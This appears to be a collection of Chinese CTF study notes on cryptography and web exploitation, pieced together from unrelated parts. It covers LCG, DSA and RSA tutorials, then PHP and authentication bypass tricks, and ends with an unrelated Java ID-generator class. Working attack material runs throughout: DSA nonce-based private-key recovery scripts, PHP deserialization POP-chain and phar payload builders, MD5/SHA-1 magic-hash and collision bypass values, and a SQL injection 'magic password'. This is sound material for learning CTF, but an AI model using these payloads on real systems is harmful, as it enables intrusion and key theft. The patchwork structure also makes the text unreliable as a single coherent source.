流密码LCG（线性同余生成器） 流密码 在密码学中，流密码是一种基于流加密算法的密码系统。与块密码不同，流密码将数据作为连续的比特流进行加密处理，以产生加密的比特流输出。流密码以其高速性和实时性能而在许多应用中得到广泛应用，例如通信系统、无线通信和网络安全等领域。 流密码使用密钥和伪随机数发生器（PRNG）生成一个比特流序列，称为密钥流（key stream）。密钥流与明文比特流进行逐比特异或运算，从而实现加密或解密操作。密钥流的生成需要一个初始密钥作为输入，并通过PRNG生成器产生伪随机数序列。这种结合密钥流和异或运算的方式使得流密码具有高效且可逆的特性。 LCG 在之前的内容中，我们介绍了同余的概念，取模运算在密码学中经常被使用。本篇将向大家介绍另一个常见的密码学算法——线性同余生成器（Linear Congruential Generator，简称LCG）。 线性同余生成器是一种伪随机数生成算法，可以生成一个看似随机的序列。其基本原理可以用下面的公式表示： 其中，Xn​表示第n个生成的随机数，a、b和m是事先选定的常数。初始值0X0​被称为种子值。 参数选择 LCG的性质与参数的选择密切相关，不同的参数可能导致不同的随机序列。一般按照如下要求选择对应的参数： m是生成序列的模数，必须是一个大于0的正整数。常见的选择是使用一个较大的素数或2的幂，以提供较长的周期长度。 a是乘法因子，必须是一个与m互素的正整数。 b是增加常数，也必须是一个与m互素的正整数。 应用与安全性 LCG算法在密码学中有广泛的应用，例如生成随机密钥、伪随机序列等。然而，需要注意的是，由于LCG算法的确定性特性，当参数选择不当时，可能导致序列出现可预测性，从而降低安全性。 为了提高安全性，通常需要选择合适的参数，并使用其他的技术和算法来增加随机性。现代密码学中更倾向于使用更安全的随机数生成算法，如密码学安全伪随机数生成器（CSPRNG）。 LCG的原理非常简单，我们也很容易写出它的Python代码实现 class LCG: def __init__(self, seed, a, b, m): self.seed = seed # 初始种子 self.a = a # 乘数 self.b = b # 增量 self.m = m # 模数 def generate(self): self.seed = (self.a * self.seed + self.b) % self.m return self.seed
DSA算法介绍 DSA全称为Digital Signature Algorithm（电子签名算法），被美国NIST选为DSS即Digital Signature Standard（电子签名标准）算法。 课程Crypto入门——RSA（一）的两个问题 如何保证发送的信息没有被窃取？ 如何保证是可信的发送人（即别人不能伪造你的身份发送信息）？ 好的签名应该满足： 可鉴权 不可伪造 不可复制 不可篡改 不可抵赖 密钥生成 签名 验签 正确性证明 离散对数问题 暴力破解 枚举x得到正确的值。 def bsgs(g, y, p): m = isqrt(p)+1 S = {powmod(g, j, p): j for j in range(m)} gs = powmod(g, p - 1 - m, p) for i in range(m): if y in S: return i * m + S[y] y = y * gs % p K相关攻击 已知K攻击 from Crypto.Util.number import * k = 516081660287290857303106041337362876434325919397 p, q, g, y, h, r, s = ... x = (s*k - h) * inverse(r, q) % q print(long_to_bytes(x)) K爆破攻击 如果题目中的k选择范围很小或是有迹可循，则可以考虑枚举每一个K的取值可能。转换为已知K攻击求解X。 from Crypto.Util.number import * p, q, g, y, h, r, s = ... for k in range(999900, 2**20): # 999957 x = (s*k - h) * inverse(r, q) % q if long_to_bytes(x).count(b'-') == 2: print(long_to_bytes(x)) K共享攻击 如果在题目中包含多组签名且至少有两组签名使用了相同的临时密钥k，则我们依然可以从中计算得到x。 考虑约束 from Crypto.Util.number import * p, q, g, y = ... (h1, r1, s1) = ... (h2, r2, s2) = ... k = (h1 - h2) * inverse(s1 - s2, q) % q x = (s1*k - h1) * inverse(r1, q) % q print(long_to_bytes(x)) K相关攻击进阶 线性K攻击 from Crypto.Util.number import * from sympy.ntheory import * p, q, g, y = ... (h1, r1, s1) = ... (h2, r2, s2) = ... a = 123123 b = 213123 k = (h1*r2 - h2*r1 + b*s2*r1) * inverse(s1*r2 - a*s2*r1, q) % q x = (k*s1 - h1) * inverse(r1, q) %q print(long_to_bytes(x)) 关系K攻击 from Crypto.Util.number import * p, q, g, y = ... (h1, r1, s1) = ... (h2, r2, s2) = ... PR.<x> = PolynomialRing(GF(q)) f = s2*x^2*r1 - s1*x*r2 - h2*r1 + h1*r2 print(f.roots()) k = int(f.roots()[1][0]) x = (s1*k - h1) * inverse(r1, q) % q print(long_to_bytes(x))
1. 序列化与反序列化 面向对象 将各类属性和过程聚合为一个整体。 class Student { var $name; var $age; function whoami() { echo "I am ".$this->name; } } 类 -> 对象 定义 -> 具体事物：实例化 $a = new Student(); $b = new Student(); $a->name = "Alice"; $b->name = "Bob"; $a->whoami(); $b->whoami(); 序列化 将内存中的对象保存为文件 配置参数对象 缓存 网路传输 状态保存 echo serialize($a); 反序列化 将序列化字符串重新变成对象 魔术方法 一类特殊的方法，在对象的整个生命周期中会随着特殊事件触发而自动调用 __destruct() 对象销毁，或者脚本执行完时触发; 2.属性修饰符 继承 class Student { public $name; private $age; protected $sex; function whoami() { echo "I am ".$this->name; } } class GoodStudent extends Student { function getSex() { echo $this->sex; } } $gs = new GoodStudent(); $gs->sex = 1; $gs->getSex(); 属性修饰符 public: 公共的：在所有位置都可访问 protected: 受保护的：只能再该类内部和该类的子类中访问 private: 私有的：只能在该类内部访问 3. 反序列化绕过技巧 属性修饰符的绕过 CVE-2016-7124 PHP5 < 5.6.25 PHP7 < 7.0.10 序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。 字符串绕过 利用PHP解析规则构造字符串 4. POP链构造 POP链 POP即面向属性编程(Property Oriented Programing)，利用代码中的各类对象属性和魔术方法，来构造一条人为控制的调用路线。 确定入口 能够开始执行调用的地方。 静态函数调用$a->test(); 动态函数调用$b = 'test'; $a->{$b}(); 魔术方法__destruct() // 对象销毁时自动执行 __wakeup() // 反序列化中自动执行 确定出口（利用点） 类方法中的危险函数eval() system() shell_exec() file_get_contents() 涉及FLAG的地方。 构造属性调用链 通过魔术方法构造调用链。 魔术方法 __destruct() // 对象销毁时自动执行 __wakeup() // 反序列化中自动执行 __toString() // 将对象转换为字符串是自动触发 __invoke() // 将对象作为函数调用时触发 __get($name) // 访问对象中不存在的属性时触发，并将名字作为参数传入 __set($name, $value)// 对对象中不存在的属性赋值时触发，并将名字和值作为参数传入 __call($name, $args)// 调用对象中不存在的方法时触发，并将名字和参数数组作为参数传入 EXP P5 class NSS1 { var $name; } class NSS2 { var $name; } $a = new NSS1(); $a->name = new NSS2(); echo serialize($a); P6 class NSS1 { var $name; } class NSS2 { var $name; } class NSS3 { var $name; var $res; } $a = new NSS1(); $a->name = new NSS2(); $a->name->name = new NSS3(); $a->name->name->name = new NSS3(); $a->name->name->name->res = 'nssctf'; echo serialize($a); P7 class NSS1 { var $name; } class NSS2 { var $name; private $test; function setTest($v) { $this->test=$v; } } class NSS3 { var $name; var $res; } $a = new NSS1(); $a->name = new NSS2(); $a->name->setTest('xxx'); $a->name->name = new NSS3(); $a->name->name->name = new NSS2(); $b = new NSS3(); $b->name = new NSS3(); $a->name->name->name->setTest($b); echo urlencode(serialize($a)); 5. Phar反序列化&session反序列化 phar反序列化 要求： 可以上传文件 可以读取文件 读取文件时未对路径及协议做过滤 注意：修改php.ini配置 class A { public $a; } class B { public $b; } $a = new A(); $a->a = new B(); $a->a->b = "phpinfo();"; $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); session反序列化 class NSS { public $ctf; } // $_SESSION['a'] = 1; // $_SESSION['b'] = 2; // a|i:1;b|i:2; // a:2:{s:1:"|a";i:1;s:1:"b";i:2;} // a:1:{s:4:"name";s:38:"|O:3:"NSS":1:{s:3:"ctf";s:6:"whoami";}";} $a = new NSS(); $a->ctf = 'whoami'; echo serialize($a); 示例 正则绕过 if (preg_match('/[oc]:\d+:/i', $a)) { die('no no no'); } if (!preg_match('/"name":"nss";/i', $a)) { die('no no no'); } //O:+3:"NSS":1:{s:4:"name";s:3:"nss";}"name":"nss"; toString class NSS1 { var $name = 'nss'; function __destruct() { echo $this->name; } } class NSS2 { var $name ='666'; function __toString() { echo getenv('FLAG'); return "hello"; } } $a=new NSS1(); $a->name=new NSS2(); echo(serialize($a));
非对称加密 RSA 加密算法，一种非对称加密算法，在各种场景与环境下都有它的身影，那么它和其它加密算法又有什么不同呢，以及什么是非对称加密算法？ ​非对称加密​：传统的加密算法基于同一密钥进行加密和解密，此时我们会发现我们攻击的重点将落在通信双方的密钥到底是什么，因为即使你的加密算法天衣无缝，但是你的密钥泄露了，我便可以直接通过解密算法得到密钥。 在一个不安全的通信环境中，你的信息需要经过很多节点（中间人）才能传输至目标，此时我们考虑两个问题： 如何保证发送的信息没有被窃取？ 如何保证是可信的发送人（即别人不能伪造你的身份发送信息）？ 其实这便是信息安全等级保护中的CIA三要素的机密性（Confidentiality）和完整性（Integrity）要求。 显然，依靠传统的对称密码我们没办法做到这两点，因为传统对称密码需要事先约定使用某个特定的密码进行通信。此时我们考虑这样一个加密算法，它拥有两组密钥 ​公开密钥Pk（Public key）​：又称公钥，可以公开给所有人进行存储。 ​私有密钥Sk（Secret key）​：又称私钥，只能是发送者自己保存。 如果我们规定加密时使用​公钥​，解密时使用​私钥​，那么似乎我们的第一个问题中的放窃取便有了解决方案 我Xenny要给Soar发送信息，此时我只需要获取Soar的公开密钥（因为这会公开给所有人），然后用这个公钥将我们的信息进行加密，再发送给Soar即可，Soar收到信息后只需要用自己的私钥解密即可。 为什么？ 考虑此时有一个中间节点获取了我们的信息，但是他只能得到加密的信息，而解密则需要私钥，故他没有窃取我们的消息。 那么如何保证可信呢，这里其实属于数字签名的内容，在后续的课程中我们会详细介绍各类签名、认证算法，那么在这里我们可以稍作提及，其实我们只需要使用私钥对数据进行签名，用公钥进行验签即可。 此处若不能理解如何操作，可以暂时不用深究。 RSA 在刚才的内容中，我们提到了非常多的新名词 公钥、私钥、非对称、签名等等… 但我们如何实现这种算法呢，让我们回到本节内容的重点——RSA算法上，RSA 是 1977 年由罗纳德 · 李维斯特（Ron Rivest）、阿迪 · 萨莫尔（Adi Shamir）和伦纳德 · 阿德曼（Leonard Adleman）一起提出的。RSA 就是他们三人姓氏开头字母拼在一起组成的。 整个密码学的基石都是基于一些数学难题，以RSA算法为例，其基于大整数分解难题（IFP），目前来说我们并没有什么有效的办法对一个极大整数做因式分解，再多的优化在极大整数面前都与爆破无异，这保障了RSA的安全性。 接下来我们将学习RSA是如何工作的 生成公私钥 可能此时你便已经开始看不懂了，没关系，让我们一一拆分解释，值得注意的是，你会发现不同的资料上的表述可能都不太一样，例如“素”和“质”的区分，实际上，这些内容因为在目前我们无须深究，所以只需要了解其含义即可，再之后的教程中我们会学习各类算法在不同环、域上的扩展，此时我们再来深究其数学意义。 加密 RSA算法本质上都是基于数学运算，在加密时我们需要先将消息转化为一个数字 m（例如消息ASCII码的二进制排列转为数字），然后有 此时得到的 c 便是我们的密文。 解密 加密时我们只用到了公钥 (N,e)，同理解密时我们也只需用到私钥 (N,d)。有 此时得到的 m 便是我们的明文消息。 正确性证明 也许此时你不明白为什么 m 能经过不同的两次幂运算后会得到原始值，这其实就是为什么RSA中要用到欧拉函数，如果你还不能够理解上面的一切，下面的正确性证明可以先略过，不要给自己徒增压力 转换为证明 算法实现 再上一节中我们学习了RSA的数学原理基础，本节课我们将了解如何具体实现RSA算法。 注意，在大部分资料中，其他作者更喜欢使用举一些特定的数字带入运算，从而让读者明白整个流程或从数字上直观的得到不同算式之间的联系。但我不会在这里不会使用此方式来阐述RSA的算法流程，带入具体数值进行计算观察关系的方式在解题时非常有效，但更多的我希望各位能够理解一种抽象的思维，这对我们后续的学习非常有帮助，当然各位同学在学习过程中可以自行选择自己喜欢的方式进行操作。 我们使用Python语言来实现一个RSA算法，首先你需要确保你已经安装好了Python执行环境以及编辑环境。（这一步如果有问题请自行搜索解决） 我使用的环境为Python 3.9.12 + VSCode，你并不需要和我的环境保持一致，你可以选择自己熟悉或喜爱的环境进行操作，不过Python请使用3.8及以上版本，不然某些操作可能会得到不一样的结果。环境除了这二者之外还包括操作操作系统，我在平时工作中会使用很多不同的操作系统进行工作，对于CTF中密码学而言，这没那么重要，同时我也会尽量保持使用跨平台的代码。在特殊时候会进行进一步说明。 因为课程设置关系，在后续的内容中，我默认你已经基本掌握了Python语法，我将只会解释代码中新出现的库、函数、类的用法和说明。 Python实现RSA 上一节我们发现RSA无外乎就是那几个参数之间的运算，而我们要做的便是使用Python实现这些算式，首先我们要做的第一步是 生成两个大素数P，Q。 这是一个很模糊的概念，我希望各位在学习中能够做到尽量严谨，很显然，这里定义的大素数到底多大才是大呢？ 10算大吗？100算吗？10000算吗？葛立恒数算吗？ 我们需要一个更加精确的说法，我们生成两个512位的素数（这里包括之后的内容中涉及到的位都是指二进制位而不是十进制），那么如何使用Python产生一个素数呢，如果不借助任何外力的情况，我们可以从1开始选择，2，3，4…直到某个数满足512位且为素数为止，但是既然我们都使用Python了，为何还要这样做呢？ 让我们来使用Python强大的开源库pycryptodome，一般来说你只需要使用 pip3 install pycryptodome # 或 python3 -m pip install pycryptodome 便可以成功安装，然后在Python环境中执行以下代码 import Crypto 如果没有显示ModuleNotFoundError：等诸如此类的错误话，那么恭喜你成功的安装了本库。这里你可能会奇怪为什么安装使用pycryptodome，而引入时使用Crypto，这涉及到这的库和其他库的一些联系，有兴趣的可以自行去查找。 然后我们就可以生成素数了，我们引入库中的子包Crypto.Util.number，这个子包中包含了大量的数学工具，之后我们会经常用到这个子包。 from Crypto.Util.number import * p = getPrime(512) q = getPrime(512) print(p) print(q) 执行上面的代码，你便可以得到两个512位的素数，这依赖于我们调用了包中的getPrime函数，它能够返回一个n位的素数，其中n是我们的传入参数。至此我们便完成了RSA的第一步。 后续的过程便简单了很多，我们只需要在之前的基础上完成运算即可，添加下列代码并执行 n = p*q phi = (p-1)*(q-1) 选取与φ(n)互素的e，计算满足ed ≡ 1(mod φ(n)) 这里我们要完成两个数学操作，一个是互素的判断，一个是求解e的乘法逆元。 e = 65537 assert GCD(e, phi) == 1, "该e不满足互素条件" d = inverse(e, phi) 这里GCD函数能够求解最大公因数（Greatest Common Divisor），之前我们学习了互素的概念就是两个数的最大公因数为1，所以这里我们用断言表达式认定e一定是和phi互素的。为什么我们要选择65537作为e呢，实际上这并不是硬性规定，一些标准提供了一些e的参考值，65537在各类实现与标准中被广泛使用，但是这并不影响你可以将值改变为其他值进行后续的操作。 求d的过程中，我们使用了inverse函数，该函数有两个参数(a,p)，作用便是求解a在模p意义下的乘法逆元，那么这里我们便是求解e在模phi下面的乘法逆元，结果为d。之前我们提到了逆元是互为逆元，所以你可以尝试下面的代码 print(inverse(d, phi) == e) 打印的结果将为True，从这里我们也可以看出在RSA中的关键点便是获取这个phi的值，因为得到的phi我们便可以求e或d的值，而这正是我们加解密的密钥参数。 4.(n,e)即为公钥，(n,d)即为私钥，此时我们便得到了一组RSA的公私钥，随后我们便可以开始用这组密钥来进行加解密操作。 加密： 假设我们要加密的消息为Hello，我们定义一个字符串进行存储 message = b'hello' 注意这里我们定义的是一个bytes类型字符串，它将每个字符用8位二进制进行存储，是字符串最原生的存储形式。你也可以直接定义'hello'，但在Python3中它是一个Unicode的字符串，需要进行编码操作才能转换为bytes类型进行后续的运算。 但我们在RSA中是数与数的运算，该如何将字符串参与操作呢？ 我们使用包中的bytes_to_long函数，从函数名也可以猜出来，这个函数是将字符串转换为数字，运行下列代码 m = bytes_to_long(message) print(m) 此时，我们的消息已经被转换为一个字符串了。随后我们便可以对消息进行RSA加密 c = pow(m, e, n) print(c) 我们使用Python自带的pow函数进行幂运算，注意不要写成m**e % n，二者代表的意义相同，但是pow函数内置快速幂，可以快速得出结果，而m**e % n会将me的结果先计算出来再取模，m的e次方是一个非常大的数，这会消耗你计算机大量的运算和存储资源。 至此，我们便完成了加密过程，得到了RSA的密文C。 解密： 我们执行 msg = pow(c, d, n) print(msg) 此时我们便完成了RSA的解密操作，随后你可以比较一下msg和m的值，他们会是一样的。 完整代码： from Crypto.Util.number import * p = getPrime(512) q = getPrime(512) n = p*q phi = (p-1)*(q-1) e = 65537 assert GCD(e, phi) == 1, "该e不满足互素条件" d = inverse(e, phi) print(f'公钥：({e}, {n})') print(f'私钥：({d}, {n})') message = b'hello' m = bytes_to_long(message) print('消息：', m) c = pow(m, e, n) print('密文：', c) msg = pow(c, d, n) print('明文：', msg) assert msg == m, "解密失败" 帮助网站：n反查pq: http://factordb.com/
File 文件分离 1.Binwalk 是一个自动提取文件系统，该工具可以自动完成指定文件的扫描，发现潜藏在文件中中所有可疑的文件类型以及文件系统。 命令 binwalk +file扫描发现目标文件中包含的所有可识别的文件类型 binwalk +file -e提取文件 提取成功的话则会生成一个文件名extracted目录，目录中存放的就是提取的文件 SSH SMB 深入挖掘 MD5绕过 ctfhub : md5 collision PHP在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以”0E”开头的，那么PHP将会认为他们相同，都是0。 攻击者可以利用这一漏洞，通过输入一个经过哈希后以”0E”开头的字符串，即会被PHP解释为0，如果数据库中存在这种哈希值以”0E”开头的密码的话，他就可以以这个用户的身份登录进去，尽管并没有真正的密码。 原值 和 他0e开头的md5 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 以下值在sha1加密后以0E开头： aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m 0e1290633704 10932435112 不可以用数组绕过的强比较 if(isset($_GET['a']) and isset($_GET['b'])) { if($_GET['a']==$_GET['b']) die(); else if(is_array($GET['a']) || is_array($GET['b'])) die(); else if(sha1($_GET['a'])===sha1($_GET['b'])) echo $flag; else die(); } 像这样，其中​is_array()​函数用来检测是否为数组，发现我们没法用数组进行绕过。 搜索发现SHA-1算法已经碰撞成功，原理是构建了两个SHA-1值相同但不一样的pdf文件1.pdf和2.pdf然而如何比较这两个文件的不同之处到底在哪里呢? 通过cmp命令 cmp -l 1.pdf 2.pdf 发现不同的部分在前320个字节。 但是如何把这个部分拿去登录呢？ 将两个文件的前320个字节用url编码(urlencode)，可以构造如下： a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 双重MD5加密后0E开头： 7r4lGXCH2Ksu2JNT3BYM CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 万能密码 **ffifdyop** 经过md5加密后：276f722736c95d99e921722cf9ed621c 再转换为字符串：'or'6<乱码> 即 'or'66�]��!r,��b 用途： select * from admin where password=''or'6<乱码>' 就相当于select * from admin where password=''or 1 实现sql注入 DIR 目录 sudo su apt-get update kali中安装命令：apt-get install dirsearch 安装完成后输入命令： （1）可以使用命令 dirsearch -u http：//ip -e* (2)也可以使用下面的命令： git clone https://github.com/maurosoria/dirsearch.git 然后在家目录进入dirsearch cd dirsearch 然后再使用命令： python3 dirsearch.py -u http：//IP -e* PHP杂项 php3，php5，pht，phtml，phps都是php可运行的文件扩展名 eval() - 执行字符串作为PHP代码。这个函数非常危险，因为它可以执行任意代码，常被用于Web Shell。 intval() 是一个 PHP 函数，用于将变量转换为整数。 isset() 是一个PHP函数，用于检查变量是否已设置并且不是 null。如果变量已设置并且不为 null，则返回 true，否则返回 false。 exec() - 执行外部程序，并显示输出。它可以用来执行系统命令。 system() - 与exec()类似，但它直接将执行结果输出到浏览器。 shell_exec() - 执行命令并通过字符串返回输出，不直接输出到浏览器。 passthru() - 执行外部命令并直接将原始输出传递给浏览器。 popen() - 打开进程文件指针。 proc_open() - 类似于popen()，但提供更细粒度的控制。 file_get_contents() - 读取文件内容到字符串，常用于读取本地或远程文件。 file_put_contents() - 将一个字符串写入文件，常用于文件写入操作。 fopen() - 打开文件或URL。 fclose() - 关闭一个打开的文件指针。 fwrite() - 写入文件（文件必须是以写入模式打开的）。 fread() - 读取文件（文件必须是以读取模式打开的）。 include() - 包含并运行指定文件。 require() - 与include()类似，但在文件无法加载时会产生致命错误。 include_once() - 仅在脚本执行期间包含并运行一次文件。 require_once() - 与include_once()类似，但在文件无法加载时会产生致命错误。 unserialize() - 从已存储的表示中创建PHP的值。 serialize() - 产生一个可存储的值的表示。 base64_encode() - 数据编码为base64格式。 base64_decode() - 解码base64编码的数据。 urldecode() - 解码已编码的URL字符串。 urlencode() - 编码URL字符串。 json_encode() - 对变量进行JSON编码。 json_decode() - 对JSON格式的字符串进行解码。 md5() - 计算字符串的MD5散列。 sha1() - 计算字符串的SHA-1散列。 hash() - 对字符串使用给定的散列算法。 preg_match() - 执行一个正则表达式匹配。 preg_replace() - 执行一个正则表达式的搜索和替换。 str_replace() - 子字符串替换。 strpos() - 查找字符串首次出现的位置。 stripos() - 不区分大小写地查找字符串首次出现的位置。 strstr() - 查找字符串的首次出现并返回剩余部分。 stristr() - 不区分大小写地查找字符串的首次出现并返回剩余部分。 explode() - 使用一个字符串分割另一个字符串。 implode() - 将一个一维数组的值转化为字符串。 trim() - 去除字符串首尾处的空白字符。 ltrim() - 去除字符串开头的空白字符。 rtrim() - 去除字符串末端的空白字符。 str_pad() - 把字符串填充为新的长度。 str_split() - 将字符串转换为数组。 substr() - 返回字符串的一部分。 strcmp() - 二进制安全字符串比较。 strcasecmp() - 不区分大小写的字符串比较。 ord() - 返回字符的ASCII值。 chr() - 从指定的ASCII值返回字符。 var_dump() - 打印变量的相关信息，常用于调试。 print_r() - 打印关于变量的易于理解的信息。 gettype() - 获取变量的类型。 escapeshellcmd() - 对命令行字符串进行转义，防止命令注入。 escapeshellarg() - 对命令行参数进行转义。 ini_get() - 获取一个配置选项的值。 ini_set() - 为一个配置选项设置值。 set_time_limit() - 设置脚本最大执行时间。 header() - 发送原生HTTP头。 headers_sent() - 检查HTTP头是否已被发送。 http_response_code() - 获取或设置HTTP响应代码。 session_start() - 启动新会话或者重用现有会话。 session_destroy() - 销毁一个会话中的所有数据。 session_id() - 获取或设置会话ID。 setcookie() - 发送一个Cookie。 setrawcookie() - 发送一个没有URL编码的Cookie。 parse_url() - 解析URL并返回其组成部分。 parse_str() - 将字符串解析成多个变量。 http_build_query() - 生成URL-编码的查询字符串。 curl_init() - 初始化一个cURL会话。 curl_setopt() - 设置一个cURL传输选项。 curl_exec() - 执行一个cURL会话。 curl_close() - 关闭一个cURL会话。 simplexml_load_string() - 将XML字符串载入对象。 simplexml_load_file() - 将文件载入对象。 json_last_error() - 返回最后发生的JSON错误。 libxml_use_internal_errors() - 禁用标准的libXML错误，并启用用户错误处理。 libxml_get_errors() - 获取libxml错误。 openssl_encrypt() - 对数据进行加密。 openssl_decrypt() - 对数据进行解密。 mcrypt_encrypt() - 加密数据（注意：mcrypt扩展在PHP 7.1.0中已被废弃）。 mcrypt_decrypt() - 解密数据（注意：mcrypt扩展在PHP 7.1.0中已被废弃）。 password_hash() - 创建密码的哈希（散列）。 password_verify() - 验证密码是否和哈希匹配。 crypt() - 单向字符串散列。 rand() - 生成随机整数。 mt_rand() - 生成更好的随机数。 array_filter() - 用回调函数过滤数组中的元素。 array_map() - 为数组的每个元素应用回调函数。 array_reduce() - 用回调函数迭代地将数组简化为单一的值。 array_merge() - 合并一个或多个数组。 array_intersect() - 计算数组的交集。 array_diff() - 计算数组的差集。 sort() - 对数组排序。 ksort() - 对数组按照键名排序。 usort() - 使用用户自定义的比较函数对数组中的值进行排序。 preg_split() - 通过一个正则表达式分割字符串。 preg_grep() - 返回匹配模式的数组条目。 preg_quote() - 转义正则表达式字符。 htmlspecialchars() - 将特殊字符转换为HTML实体。 htmlentities() - 将所有适用的字符转换为HTML实体。 strip_tags() - 从字符串中去除HTML和PHP标签。 addslashes() - 使用反斜线引用字符串。 if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好. "; }else{ die("金钱解决不了穷人的本质问题"); } 我们需要传递一个 字符串 作为 $num 的值使得判断语句成立以 使得程序继续进行，而不是因为 die() 函数 的执行而停止。 从逻辑上来说，没有一个数值（字符串形式）可以使得 $num 满足判断语句。但请不要忘记，intval() 在某些 PHP 版本中 对使用科学计数法的数值（字符串）无法正常解析，这也就产生了绕过的可能。 绕过 $num 在第二个 intval() 函数中以 表达式 的形式出现，字符串在与数值进行运算时，PHP 会将字符串转化为数值。使用科学计数法的数值（字符串） 在某些版本中无法被 intval() 正确解析，但 PHP 是认得它的，在与数值 1 进行加法运算时，$num 将被 PHP 正确解析。于是，我们尝试将 $num="1e4"。 常见的php命令执行函数： eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort() system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() 其他杂项 X-Forwarded-For 本地IP：client-ip: 127.0.0.1 来自于：referer: pornhub.com 浏览器设置：user-agent: Chrome 代理：via: Clash.win Linux find / -name 1.txt : 在根目录下开始寻找1.txt find /root -name *1.txt : 从root目录下开始寻找 带有名称1的txt文件 假设你知道flag的格式，你可以使用类似以下的命令来搜索： grep -r "flag{.\*}" /path/to/directory/\*.txt 这将找到所有包含flag格式字符串的txt文件，并输出它们的内容。 grep -r "flag{.}" /path/to/directory/.txt | xargs cat 获取图片内容 strings '/home/kali/桌面/1.png' I grep {*}
package com.jadx.server.util; import org.apache.commons.lang3.StringUtils; import java.math.BigInteger; import java.util.Random; public final class IdWorker extends com.baomidou.mybatisplus.core.toolkit.IdWorker { private static final long EPOCH = 1479533469598L; //开始时间,固定一个小于当前时间的毫秒数 private static final int max12bit = 4095;// 12位序列号,支持同一毫秒内同一个节点可以生成4096个ID private static final long max41bit = 1099511627775L; private static String machineId = "1101"; // 机器ID 二进制 1101 = 十进制 13 /** * 创建ID */ public static long getId() { long time = System.currentTimeMillis() - EPOCH + max41bit ; // 二进制的 毫秒级时间戳 String base = Long.toBinaryString(time); // 序列数 String randomStr = StringUtils.leftPad(Integer.toBinaryString(new Random().nextInt(max12bit)), 12, '0'); if (StringUtils.isNotEmpty(machineId)) { machineId = StringUtils.leftPad(machineId, 10, '0'); } //拼接 String appendStr = base + machineId + randomStr; // 转化为十进制 返回 BigInteger bi = new BigInteger(appendStr, 2); return Long.parseLong(bi.toString()); } public static void main(String[] args) { for (int i = 0; i < 100; i++) { System.out.println(getId()); } } }
